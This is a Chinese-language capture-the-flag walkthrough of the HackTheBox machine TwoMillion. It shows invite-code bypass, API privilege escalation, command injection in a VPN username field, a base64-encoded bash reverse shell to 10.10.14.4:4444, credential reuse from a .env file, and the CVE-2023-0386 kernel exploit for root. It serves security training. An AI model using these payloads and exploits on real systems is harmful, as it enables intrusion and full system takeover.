TwoMillion 测试过程
1 端口扫描
nmap -sC -sV 10.129.41.37
2 测试思路
目标开启了80和22端口,所以出发点从80端口开始。
1.通过在web网站寻找漏洞,获取到用户名和密码,远程连接22端口获取权限;
2.通过在web网站寻找漏洞,站点中存在可以获取权限的漏洞。
3 web漏洞探测
echo "10.129.41.37 2million.htb" | sudo tee -a /etc/hosts
3.1 绕过限制获取 Invite code
点击Join HTB功能发现存在Invite code,该系统需要有邀请码才能进行注册登录
审计网页源代码,通过POST请求向 /api/v1/invite/verify
接口提交邀请码以此来验证邀请码的有效性。并且还有js代码/js/inviteapi.min.js
在加载。
查看 /js/inviteapi.min.js
,代码被混淆了,使用工具进行解码。
解码后的代码中,发现存在两个post请求:第1个请求是验证邀请码,主要关注第二个请求
1 post /api/v1/invite/verify
2 post /api/v1/invite/how/to/generate
使用 curl 访问/api/v1/invite/how/to/generate
接口,在输出内容中可以看到data的值为一段加密字符,而加密方式为ROT13,对加密字符进行解密即可得到明文。
curl -sX POST http://2million.htb/api/v1/invite/how/to/generate | jq
在对密文进行解密后,又发现了一个post请求接口/api/v1/invite/how/to/generate
密文:
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr
解密后明文:
In order to generate the invite code, make a POST request to /api/v1/invite/generate
使用 curl 访问/api/v1/invite/generate
接口,观察其输出情况,发现一段base64编码的字符串
curl -sX POST http://2million.htb/api/v1/invite/generate | jq
对发现的字符串Qlg5QUctNlMzQVEtR1dPNlUtR1lBVjE=
进行解码,得到明文正是邀请码
echo Qlg5QUctNlMzQVEtR1dPNlUtR1lBVjE= | base64 -d
3.2 对登录后页面进行审计
使用获取到的邀请码进行注册登录
在access功能点发现允许用户重新生成下载VPN文件,
点击 Regenerate
观察请求包,没有其他可利用的内容,但是在审计邀请码页面及下载VPN页面时,路径都是/api,所以我们尝试访问/api
使用CURL访问路径2million.htb/api,观察其返回内容显示未授权 401
curl -v 2million.htb/api
添加cookie继续访问 2million.htb/api
curl -sv 2million.htb/api --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq
发现路径 /api/v1
,访问后发现存在很多接口,并且有三个接口是和admin相关的
curl -sv 2million.htb/api/v1 --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq
继续访问发现的三个接口
curl 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq
curl -sv -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv"
在访问到第三个http://2million.htb/api/v1/admin/settings/update
时,发现我们的请求报错"Invalid content type"
curl -v -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq
既然报错"Invalid content type",那就添加content类型继续进行访问:Content-Type: application/json
curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" | jq
访问又出现提示,显示Missing parameter:email
,添加mail请求体继续进行访问,mail的值就使用之前注册账户时的邮箱地址
curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"email":"test@123.com"}'| jq
访问又出现提示,显示Missing parameter:id_admin
,添加is_admin参数继续进行访问,is_admin的值true
curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"email":"test@123.com","is_admin":true}'| jq
访问又出现提示,显示id_admin
的值需要为0或这1,将id_admin的改为0和1继续进行访问,成功返回之前我们注册的用户信息
curl -X PUT http://2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"email":"test@123.com","is_admin":'1'}'| jq
再次重复访问之前访问失败的前两个路径2million.htb/api/v1/admin/auth
和2million.htb/api/v1/admin/vpn/generate
curl 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" | jq
在访问2million.htb/api/v1/admin/vpn/generate
路径时,发现缺少username参数,添加"username":"test"
后继续进行访问
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" | jq
在添加了--data '{"username":"test"}'
后访问成功,并成功返回了VPN配置文件
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"username":"test"}'
在username的值为test时,系统生成VPN配置文件并进行打印,如果VPN的配置文件是通过某些系统函数生成,并且对于username的值没有进行严格过滤,那是否可以在username的值上拼接系统命令进行执行,添加id
命令进行执行,成功
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"username":"test;id;"}'
4 权限获取
id命令可以执行成功,写入反弹shell命令获取权限。对反弹shell命令bash -i >& /dev/tcp/10.10.14.4/4444 0>&1
进行base64编码并写入
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ== | base64 -d | bash
curl -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=d9rn1907tb5ga9cbqnvrf9v4jv" --header "Content-Type: application/json" --data '{"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ== | base64 -d | bash;"}'
5 横向移动
检查web文件,发现一个.env文件
,在.env文件中发现admin:SuperDuperPass123
使用获取到的admin:SuperDuperPass123
进行ssh登录,成功获取到admin用户权限
ssh admin@10.129.41.37
6 权限提升
sudo -l
执行sudo -l未发现可利用的,但是在查看系统信息时发现内核版本5.15.70,并且在/var/mail/admin发现一封有关内核漏洞的邮件
uname -a
lsb_release -a
/var/mail/admin邮件内容显示: 可能存在 OverlayFS / FUSE 漏洞攻击
,搜索该攻击相关信息,发现在 Linux 内核的 OverlayFS 子系统中,用户将某些文件从 nosuid 挂载点复制到另一个挂载点时,未经授权时能够执行setuid文件。此 uid 映射错误允许本地用户提升其系统权限。漏洞编号CVE-2023-0386
cat /var/mail/admin
下载CVE-2023-0386漏洞提权工具
git clone https://github.com/xkaneiki/CVE-2023-0386.git
将漏洞利用工具拷贝进系统中,在未压缩时无法拷入
scp CVE-2023-0386 admin@2million.htb:/tmp
scp CVE-2023-0386.zip admin@2million.htb:/tmp
上传完成CVE-2023-0386.zip后进行解压,并编译
admin@2million:/tmp$ unzip CVE-2023-0386.zip
admin@2million:/tmp$ cd CVE-2023-0386/
admin@2million:/tmp/CVE-2023-0386$ make all
在第一个admin终端执行./fuse ./ovlcap/lower ./gc
admin@2million:/tmp/CVE-2023-0386$ ./fuse ./ovlcap/lower ./gc
在第二个amdin终端执行 ./exp
,成功获取到root权限
admin@2million:/tmp/CVE-2023-0386$ ./exp